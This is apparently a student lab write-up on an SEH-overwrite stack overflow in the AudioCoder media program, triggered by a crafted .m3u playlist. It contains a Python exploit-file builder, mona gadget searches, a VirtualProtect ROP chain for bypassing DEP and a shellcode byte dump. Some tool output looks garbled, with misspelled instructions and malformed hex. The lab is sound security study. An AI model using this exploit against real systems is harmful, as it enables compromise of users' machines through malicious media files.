

# Lab 03 – Structured Exception Handlers

## Part 1 – Confirming the Exploit

- Through reverse engineering (static/dynamic analysis), work from the provided POC and confirm that there is an exploitable bug in the provided program. Please note, you do NOT need to actually exploit it for this lab.
  - [6 points]** Provide detailed analysis of the program to show where the bug occurs and how it works. Include specific locations in the target binary along with a description of the flaw(s) in the code.

Starting off with some static analysis, we need to identify entry() and then find the unlabeled call to main(). In Ghidra this is pretty easy because you can just work backwards from the exit() while looking for any MOV from EAX.

We can see one call being made before a MOV here @ 0x47ee74

0047ee74	e8 a7 99	CALL	<u>FUN_00428820</u>	undefined4 FUN_00428820
	fa ff			
0047ee79	8b f0	MOV	ESI,EAX	
0047ee7b	57	PUSH	EDI	
0047ee7c	e8 21 56	CALL	FUN_004844a2	undefined FUN_004844a2(
	00 00			
0047ee81	59	POP	ECX	
0047ee82	e8 69 0b	CALL	is_managed_app	bool is_managed_app(voi
	00 00			
0047ee87	84 c0	TEST	AL,AL	
0047ee89	75 06	JNZ	LAB_0047ee91	
0047ee8b	56	PUSH	ESI	
0047ee8c	e8 d9 4c	CALL	_exit	void _exit(int _Code)
	01 00			

Moving into the call reveals some static indicators that we are probably in main()... There's a lot of the Post/Get/SendMessage() mentioned before in the lecture.

```

if (DVar3 == 0x102) {
    FUN_00425920(
        "This freeware version does not run as multiple instances.\nDo you want to learn
        more about MediaCoder Premium?"
        ,&DAT_004c8db8);
    Sleep(1000);
    *in_FS_OFFSET = local_10;
    return 0;
}
FUN_00430b10();

```

So this just establishes that we know when user code is reached and where everything branches off from. It feels like cheating, but since we already know based off of the provided POC that the exploit is initialized by a file read... I created several breakpoints for **OpenFile** and **ReadFile**.

type	Address	Module/Label/Exception	State	Disassembly	Hits	...
software	00420771	audiocoder.exe	Enabled	call ebx	1	
	0047EE74	audiocoder.exe	Disabled	call audiocoder.428820	0	
	76953FE5	<kernel32.dll.ReadFile>	Disabled	push C	1	
	7696A327	<kernel32.dll.OpenFile>	Disabled	push 0C	0	

Then, whenever we have the debugger 'paused', waiting for user interaction, we simply wait until the breakpoints are met after reading a file and work our way backwards.

The call stack eventually looks like this...

Frame	Address	From	Size	Comment	Party	
6044	0018E420	00420773	76953FE5	224	kernel32.76953FE5	User
	0018E644	00421A2A	00420773	A4	audiocoder.00420773	User
	0018E6E8	769514AD	00421A2A	14	audiocoder.00421A2A	System
	0018E6FC	004932A5	769514AD	FFE71908	kernel32.769514AD	User
	00000004	00000000	004932A5		audiocoder.004932A5	User
5844						

The addresses breakdown to...

1. kernel32.76953FEC > ReadFile
2. kernel32.76953FE5 > LoadTextFile
3. audiocoder.00420771 > ????
4. audiocoder.00421a25 > ????

It's hard to make out anything at first glance when referencing the initial calls made from AudioCoder - but I did notice a static string reference from (3) audiocoder @ 00420771 to "#EXTM3U". Which leads me to think that I am starting to be in the right place.

I could have skipped straight here if I just looked at the string XREFs in the beginning, oh well lol

Not really gonna bother double checking... but it looks like it's attempting to compare the provided contents from the exploit payload to #EXTM3U.

00420770	7E 74	jle audiocoder.4207EE	
0042077A	8B4424 1C	mov eax,dword ptr ss:[esp+1C]	[esp+1C]: "http://A
0042077E	6A 07	push 7	
00420780	68 C4794C00	push audiocoder.4C79C4	4C79C4: "#EXTM3U"
00420785	50	push eax	
00420786	894424 1C	mov dword ptr ss:[esp+1C],eax	[esp+1C]: "http://A
0042078A	E8 91840600	call <audiocoder.strcmp>	
0042078F	8B7424 1C	mov esi,dword ptr ss:[esp+1C]	[esp+1C]: "http://A
00420793	83C4 0C	add esp,C	
00420796	85C0	test eax,ebx	

Then it does a comparison of the 8th byte to the char 'A'... dunno if the HTTP:// part was needed or if it could have been anything else really. But that is the same length as the

previously compared string #EXTM3U. But this is definitely where the file is processed and read into memory.

0042079E	74 06	je audiocoder.4207A6
004207A0	807E 07 0A	cmp byte ptr ds:[esi+7],A
004207A4	75 17	jne audiocoder.4207BD
004207A6	66 44 74 17 01	mov byte ptr esi,esi+17h

It fails though and jmps further down moving a ptr of the exploit payload from ESI to EAX.

00420788	EB 40	jmp audiocoder.4207FD	
004207BD	0FBE06	movsx eax,byte ptr ds:[esi]	esi:"http://Aa
004207C0	50	push eax	
004207C1	E8 EDB50600	call audiocoder.488DB3	
004207C5	83C4 04	add esp,4	

Although I think my previous notes were important initially when trying to understand the target program - what I have now takes a different turn and is actually the correct area.

This loop here is what overwrites the stack - it took me awhile to find it bc I kept thinking it was near the initial references to #EXTM3U when queueing the newly added file...

0042A9FE	66:90	nop	
0042AA00	8A01	mov al,byte ptr ds:[ecx]	ecx:"A
0042AA02	8D49 01	lea ecx,dword ptr ds:[ecx+1]	ecx:"A
0042AA05	88440A FF	mov byte ptr ds:[edx+ecx-1],al	
0042AA09	84C0	test al,al	
0042AA0B	75 F3	jne audiocoder.42AA00	
0042AA0D	8D4424 38	lea eax,dword ptr ss:[esp+38]	
0042AA11	50	push eax	

It just rinses through each byte of the payload stored into ECX and then moves it onto the stack with **MOV BYTE PTR DS:[EDX + ECX - 1], AL**.

We can even watch it happen while stepping through and see each byte added.

0018F990	0018F9C0	"http://AB"
0018F994	00000000	
0018F998	00000000	
0018F99C	00000000	
0018F9A0	00000000	
0018F9A4	00000000	
0018F9A8	00000000	
0018F9AC	00000000	
0018F9B0	00000000	
0018F9B4	00000000	
0018F9B8	00000000	
0018F9BC	76678922	return to user32.76678922 from user32.76678719
0018F9C0	70747468	
0018F9C4	412F2F3A	
0018F9C8	00000042	
0018F9CC	00000000	
0018F9D0	00000000	

And then after a few more steps...

```
0018F98C 00000020
0018F990 0018F9C0 "http://ABABABABA"
0018F994 00000000
0018F998 00000000
0018F99C 00000000
0018F9A0 00000000
0018F9A4 00000000
0018F9A8 00000000
0018F9AC 00000000
0018F9B0 00000000
0018F9B4 00000000
0018F9B8 00000000
0018F9BC 76678922 return to user32.76678922 from user32.76678719
0018F9C0 70747468
0018F9C4 412F2F3A
0018F9C8 41424142 ←
0018F9CC 41424142
0018F9D0 00000000
0018F9D4 00008040
```

This is because `EDX + ECX` itself is a ptr further down the stack, for example...

EAX	00000041	'A'
EBX	76688BE2	<user32.SendMessage>
ECX	027A2290	"BABABABABABABABABABABA"
EDX	FD9ED740	
EBP	001BF804	"^ü\x18"
ESP	001BF940	
ESI	027A20A8	
EDI	001D04F6	

$$\text{FD9ED740} + \text{027A2290} = \text{10018F9D0} - 1 = \text{10018F9CF}$$

And that would be the value most recently updated as 0x41 within the DWORD shown at the address 0x18F9CC.

Also, I tried opening the payload as the default M3U as well as TXT - the vulnerability only exists for files of type M3U; and, I don't know why that is. I believe it has something to do with the earlier reading of the file when #EXTM3U was referenced.

**[1 point]** Upgrade the POC python script to show precise control over the program. Provide screenshots of your script along with a brief description.

And this is just showing control of the stack with the EIP as “MICA” or “0x4D494341”

EAX	027830E0	
EBX	0276C230	&"a°e"
ECX	006D0A70	
EDX	00000030	'0'
EBP	41414141	
ESP	0018FB0C	
ESI	003204EE	
EDI	027830E0	
EIP	4D494341	

I only made some formatting changes to run with Python3 instead of Python2, and then the offset changes in order to control SEH and EIP.

```
junk = b"http://" + b"A" * 321
eip = b"ACIM" + b"B" * 368
nseh = bytes(pack('<I',0x909006eb))
seh = bytes(pack('<I',0x6600105D))
nops= b"\x90" * 20
shell=(b"")

junkD = b"D" * (2572 - (len(junk + nseh + seh + nops + shell)))
exploit = junk + eip + nseh + seh + nops + shell + junkD

file= open("Exploit.m3u",'wb')
```

## Part 2 – Bypassing Stack Cookies with SEH Overwrites

- **[1 point]** Identify if this program uses structured exception handlers (SEH).

Yes - and we can see it here inside of x32dbg and Immunity.

Address	Handler	Module/Label	Comment
0018FC7C	004A5538	audiocoder	
0018FF30	004A5330	audiocoder	
0018FF78	00484220	audiocoder	
0018FFC4	77804DCD	ntdll	

This is the SEH chain, the last address referenced within the module NTDLL is the actual exception handler. In order to exploit SEH, our payload needs to overwrite the addresses holding NSEH and SEH.

Using the SEH chain observed with x32dbg it is easy to calculate the necessary offset. A payload of "A" \* 689 takes us straight to NSEH and then the following 4 bytes for SEH.

- **[2 points]** Discuss if this program is vulnerable to SEH abuse. That is, could SEH be used to exploit the program.

In order for an SEH exploit to work, we need access to NSEH and SEH as well as the POP+POP+RET instructions from a module not compiled with SafeSEH. Using the **!mona modules** command we can see a list of the loaded modules and their flags/options.

There is one such module/DLL packed with the target executable called... **libiconv-2.dll**

Using another command we can search for usable instructions to move from SEH to NSEH.

**!mona seh -m libiconv-2.dll -cp nonull**

```
[+] [0x219] Single step event at 0xb017f7d016
[+] Command used:
    seh libconv-2.dll <no null>
----- Non command started on 2022-02-07 08:32:26 (v2.0, rev 616) -----
[*] Processing arguments and criteria
  - Only processing level: X
  - Only querying modules: libconv-2.dll
  - Pointer criteria: "nonull"
[*] Generating module info table, hang on...
  - Processing modules
    Done Let's cook 'n roll..
[*] Querying 1 modules
  - Querying module: libconv-2.dll
Modules C:\Windows\System32\api-ms-win-core-synch-l1-2-0.DLL
[*] Setting pointer access level criteria to 'R', to increase search results
New pointer access level : R
[*] Preparing context file path: %SystemRoot%\Users\nflack\Desktop\seh.txt
  - Retrieving logfile of Users\nflack\Desktop\seh.txt
Writing results to c:\Users\nflack\Desktop\seh.txt
  - Number of pointers of type 'pool ebx # pool ebx # ret' : 6
  - Number of pointers of type 'pool esi # pool ebx # ret' : 3
  - Number of pointers of type 'pool edi # pool ebx # ret' : 3
[*] Results:
0xe6001e5c : pool ebx # pool ebx # ret      (PRGME_EXECUTE_READ) (libconv-2.dll) NSLR: False, Rebaseset: False, SafeSEH: False, OS: False, v1_13 (C:\Program Files (x86)\AudioCoder\libconv-2.dll)
0xe6001e5b : pool ebx # pool ebx # ret      (PRGME_EXECUTE_READ) (libconv-2.dll) NSLR: False, Rebaseset: False, SafeSEH: False, OS: False, v1_13 (C:\Program Files (x86)\AudioCoder\libconv-2.dll)
0xe6001e5d : pool ebx # pool ebx # ret      (PRGME_EXECUTE_READ) (libconv-2.dll) NSLR: False, Rebaseset: False, SafeSEH: False, OS: False, v1_13 (C:\Program Files (x86)\AudioCoder\libconv-2.dll)
0xe6001e59 : pool ebx # pool ebx # ret      (PRGME_EXECUTE_READ) (libconv-2.dll) NSLR: False, Rebaseset: False, SafeSEH: False, OS: False, v1_13 (C:\Program Files (x86)\AudioCoder\libconv-2.dll)
0xe6001e58 : pool ebx # pool ebx # ret      (PRGME_EXECUTE_READ) (libconv-2.dll) NSLR: False, Rebaseset: False, SafeSEH: False, OS: False, v1_13 (C:\Program Files (x86)\AudioCoder\libconv-2.dll)
0xe6001e57 : pool ebx # pool ebx # ret      (PRGME_EXECUTE_READ) (libconv-2.dll) NSLR: False, Rebaseset: False, SafeSEH: False, OS: False, v1_13 (C:\Program Files (x86)\AudioCoder\libconv-2.dll)
0xe6001e56 : pool esi # pool ebx # ret      (PRGME_EXECUTE_READ) (libconv-2.dll) NSLR: False, Rebaseset: False, SafeSEH: False, OS: False, v1_13 (C:\Program Files (x86)\AudioCoder\libconv-2.dll)
0xe6001e55 : pool esi # pool ebx # ret      (PRGME_EXECUTE_READ) (libconv-2.dll) NSLR: False, Rebaseset: False, SafeSEH: False, OS: False, v1_13 (C:\Program Files (x86)\AudioCoder\libconv-2.dll)
0xe6001e54 : pool edi # pool ebx # ret      (PRGME_EXECUTE_READ) (libconv-2.dll) NSLR: False, Rebaseset: False, SafeSEH: False, OS: False, v1_13 (C:\Program Files (x86)\AudioCoder\libconv-2.dll)
0xe6001e53 : pool edi # pool ebx # ret      (PRGME_EXECUTE_READ) (libconv-2.dll) NSLR: False, Rebaseset: False, SafeSEH: False, OS: False, v1_13 (C:\Program Files (x86)\AudioCoder\libconv-2.dll)
0xe6001e52 : pool edi # pool ebx # ret      (PRGME_EXECUTE_READ) (libconv-2.dll) NSLR: False, Rebaseset: False, SafeSEH: False, OS: False, v1_13 (C:\Program Files (x86)\AudioCoder\libconv-2.dll)
0xe6001e51 : pool edi # pool ebx # ret      (PRGME_EXECUTE_READ) (libconv-2.dll) NSLR: False, Rebaseset: False, SafeSEH: False, OS: False, v1_13 (C:\Program Files (x86)\AudioCoder\libconv-2.dll)
0xe6001e50 : pool edi # pool ebx # ret      (PRGME_EXECUTE_READ) (libconv-2.dll) NSLR: False, Rebaseset: False, SafeSEH: False, OS: False, v1_13 (C:\Program Files (x86)\AudioCoder\libconv-2.dll)
0xe6001e4f : pool edi # pool ebx # ret      (PRGME_EXECUTE_READ) (libconv-2.dll) NSLR: False, Rebaseset: False, SafeSEH: False, OS: False, v1_13 (C:\Program Files (x86)\AudioCoder\libconv-2.dll)
0xe6001e4e : pool edi # pool ebx # ret      (PRGME_EXECUTE_READ) (libconv-2.dll) NSLR: False, Rebaseset: False, SafeSEH: False, OS: False, v1_13 (C:\Program Files (x86)\AudioCoder\libconv-2.dll)
0xe6001e4d : pool edi # pool ebx # ret      (PRGME_EXECUTE_READ) (libconv-2.dll) NSLR: False, Rebaseset: False, SafeSEH: False, OS: False, v1_13 (C:\Program Files (x86)\AudioCoder\libconv-2.dll)
0xe6001e4c : pool edi # pool ebx # ret      (PRGME_EXECUTE_READ) (libconv-2.dll) NSLR: False, Rebaseset: False, SafeSEH: False, OS: False, v1_13 (C:\Program Files (x86)\AudioCoder\libconv-2.dll)
[*] Done, Only the first 20 pointers are shown here. For more pointers, open c:\Users\nflack\Desktop\seh.txt....
```

This generates a very long list of addresses with the necessary instructions... The entry I chose was:

```
0x6600105d : pop ebx # pop ebp # ret | null {PAGE_EXECUTE_READ} [libiconv-2.dll] ASLR: False,
Rebase: False, SafeSEH: False, OS: False, v1.13 (C:\Program Files (x86)\AudioCoder\libiconv-2.dll)
```

Sooo... all we need to do then is make the changes...

```
nseh = bytes(pack('<I',0x909006eb))
seh = bytes(pack('<I',0x6600105D))
```

0x909006eb was chosen because it equates to NOP, NOP, Short JMP 0x14 or 20 bytes - this is what moves us from SEH → NSEH → Shellcode.

These are the addresses identified as the SEH and NSEH. The first SEH is the address 0x0018FCB0 and NSEH 0x0018FCAC. See the values overwritten here...

0018FC70	41414141	
0018FC74	41414141	
0018FC78	909006EB	
0018FC7C	0000105D	Pointer to SEH_Record[1]
0018FC80	004A5538	audiocoder.004A5538
0018FC84	FFFFFFFF	
0018FC88	00743818	L"C:\\windows\\system32\\apphelp.dll"
0018FC8C	00203A6F	

I also verified the offset using this pattern offset generator...

### Generate Overflow Pattern



```
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab
6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
d3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9
Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A
i3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9
```

### Find Overflow Offset



693

By plugging that in as the payload with the preceding "http://" it will show the address of NSEH when the program crashes from the overflow.

CPU	Log	Notes	Breakpoints	Memory Map	Call Stack	SEH
Address	Handler	Module/Label	Comment			
0018FC7C	78413278					
41317841	00000000					

And then we follow 0018FC7C into the dump for the searchable overflow offset...

0018FC6C	35 41 77 36	41 77 37 41	77 38 41 77	39 41 78 30	5Aw6Aw7Aw8Aw9Ax0
0018FC7C	41 78 31 41	78 32 41 78	33 41 78 34	41 78 35 41	AX1Ax2Ax3Ax4Ax5A
0018FC8C	78 36 41 78	37 41 78 38	41 78 39 41	79 30 41 79	x6Ax7Ax8Ax9Av0Av

So, like the first screenshot showed... the value to look for is 'AX1A', which gives the offset 693.

If we follow my earlier math, that's the original offset 689 + 4 bytes for NSEH = 693.

Funny thing though, I can't actually figure out how to trigger the SEH without also causing an access violation to DEP. Technically, I think this could just be bypassed with ROP instead but that's not the goal exactly  $\backslash\_(\_)\_/\_$

After exploring around with mona, I generated the same ROP chain used from the last lab with the module... **RPCRT4.DLL**

```
rop_gadgets = [
    #---INFO:gadgets_to_set_esi:---
    0x76cfa6ca, # POP EAX # RETN [RPCRT4.dll] ** REBASED ** ASLR
    0x76cc02c4, # ptr to &VirtualProtect() [IAT RPCRT4.dll] ** REBASED ** ASLR
    0x76d1bb0c, # MOV EAX,DWORD PTR DS:[EAX] # RETN [RPCRT4.dll] ** REBASED ** ASLR
    0x76d07b94, # XCHG EAX,ESI # RETN [RPCRT4.dll] ** REBASED ** ASLR
    #---INFO:gadgets_to_set_ebp:---
    0x76d3d641, # POP EBP # RETN [RPCRT4.dll] ** REBASED ** ASLR
    0x76d07f75, # & jmp esp [RPCRT4.dll] ** REBASED ** ASLR
    #---INFO:gadgets_to_set_ebx:---
    0x76d222c5, # POP EAX # RETN [RPCRT4.dll] ** REBASED ** ASLR
    0xffffffff, # Value to negate, will become 0x00000201
    0x76d11232, # NEG EAX # RETN [RPCRT4.dll] ** REBASED ** ASLR
    0x76cfa178, # XCHG EAX,EBX # RETN [RPCRT4.dll] ** REBASED ** ASLR
    #---INFO:gadgets_to_set_edx:---
    0x76d481c7, # POP EAX # RETN [RPCRT4.dll] ** REBASED ** ASLR
    0xffffffff, # Value to negate, will become 0x00000040
    0x76ccf3ea, # NEG EAX # RETN [RPCRT4.dll] ** REBASED ** ASLR
    0x76ce0647, # XCHG EAX,EDX # RETN [RPCRT4.dll] ** REBASED ** ASLR
    #---INFO:gadgets_to_set_ecx:---
    0x76d0d3c5, # POP ECX # RETN [RPCRT4.dll] ** REBASED ** ASLR
    0x76d70406, # &Writable location [RPCRT4.dll] ** REBASED ** ASLR
    #---INFO:gadgets_to_set_edi:---
    0x76cd6c37, # POP EDI # RETN [RPCRT4.dll] ** REBASED ** ASLR
    0x76d621a3, # RETN (ROP NOP) [RPCRT4.dll] ** REBASED ** ASLR
    #---INFO:gadgets_to_set_eax:---
    0x76d2960f, # POP EAX # RETN [RPCRT4.dll] ** REBASED ** ASLR
    0x90909090, # nop
    #---INFO:pushad:---
    0x76cc7227, # PUSHAD # RETN [RPCRT4.dll] ** REBASED ** ASLR
]
return b''.join(pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()
```

Surprisingly, it works here as well and allows me to bypass the DEP mitigations and continue with my NSEH and SEH overwrites.



These are the ROP gadgets as shown on the stack... There's even a call included to a **JMP ESP** from the module **LIBICONV-2.DLL**; I was experimenting around and seeing which areas I could access or control the stack.

0018FB08	76CFA6CA	rpcrt4.76CFA6CA
0018FB0C	76CC02C4	rpcrt4.76CC02C4
0018FB10	76D1880C	rpcrt4.76D1880C
0018FB14	76D07894	rpcrt4.76D07894
0018FB18	76D3D641	rpcrt4.76D3D641
0018FB1C	76D07F75	rpcrt4.76D07F75
0018FB20	76D222C5	rpcrt4.76D222C5
0018FB24	FFFFFFDFF	
0018FB28	76D11232	rpcrt4.76D11232
0018FB2C	76CFA178	return to rpcrt4.76CFA178 from rpcrt4.76CC650F
0018FB30	76D481C7	rpcrt4.76D481C7
0018FB34	FFFFFFFC0	
0018FB38	76CCF3EA	rpcrt4.76CCF3EA
0018FB3C	76CE0647	rpcrt4.76CE0647
0018FB40	76D0D3C5	rpcrt4.76D0D3C5
0018FB44	76D70406	rpcrt4.76D70406
0018FB48	76CD6C37	rpcrt4.76CD6C37
0018FB4C	76D621A3	rpcrt4.76D621A3
0018FB50	76D2960F	rpcrt4.76D2960F
0018FB54	90909090	
0018FB58	76CC7227	rpcrt4.76CC7227
0018FB5C	6602C104	libiconv-2.6602C104
0018FB60	90909090	

You can actually see the shellcode here in memory after our successful ROP gadget for VirtualProtect() and short jmp from NSEH.

0018FC94	E8 00 AE 00	15 00 00 00	1F 00 00 00	00 00 00 00
0018FCA4	68 37 82 02	F0 D0 76 02	90 06 28 00	68 06 28 00
0018FCB4	00 00 00 00	90 06 28 00	3C FF 18 00	3B 8C 42 00
0018FCC4	03 00 00 00	00 00 00 00	E0 D9 4E 00	00 E0 FD 7E
0018FCD4	02 01 02 02	57 69 6E 53	6F 63 6B 20	32 2E 30 00
0018FCE4	E0 D9 4E 00	48 FF 18 00	2E 44 48 00	00 00 00 00
0018FCF4	3C FF 18 00	9F 44 48 00	00 00 00 00	68 48 99 00

The beginning values shown in the dump above are the same as our shellcode from the executable 'micah'.

```
[*] Exploit has been created!
b'\xe8\x00\x00\x00\x00Z\x8dR\xfbR\xbb\xe\xfe\x1fK\xe8\xc7\x00\x00\xe8\xe7\x00\x00\x00ZlUR\x8d\x82\x8b\x02\x00\x00P\xff\x92c\x00\x00\xe8\xbf\x00\x00\x00ZlUR\x8d\x82\x96\x02\x00\x00P\xff\x9a\x87\x02\x00\x00\xe8\x97\x00\x00\x00ZlUR\x8d\x8a.\x02\x00\x00\xff\xd0ZlUR\x8d\xb2\xc8\x01\x00\x00j\x01U\xff\x92g\x02\x00\x00Zl\x00\x00\x83\xc4\x10ZlU\xff\x92\x02\x00\x00\xfc1\xffd\x8b=0\x0t\x11<Ar\x06<Zw\x02\x0c \xc1\xc2\x070\xc2\xe b\xe99\xda\x8bG\x10
```

Pretty neat! It still does activate DEP though as soon as the first instructions of the shellcode are executed...

```
Breakpoint reached:
Breakpoint at 0018FC78 set!
INT3 breakpoint at 0018FC78!
EXCEPTION_DEBUG_INFO:
    dwFirstChance: 1
    ExceptionCode: C0000005 (EXCEPTION_ACCESS_VIOLATION)
    ExceptionFlags: 00000000
    ExceptionAddress: 1519AA99
    NumberParameters: 2
ExceptionInformation[00]: 00000008 DEP Violation
ExceptionInformation[01]: 1519AA99 Inaccessible Address
First chance exception on 1519AA99 (C0000005, EXCEPTION_ACCESS_VIOLATION)!
```

Sooo, I am still figuring out how to get past this part.

**LateNight Comment:** I figured out that this approach won't work even with ROP because DEP is enabled. In order for this to work I would need to create a stack pivoting gadget that moves from SEH back to a local buffer under my control.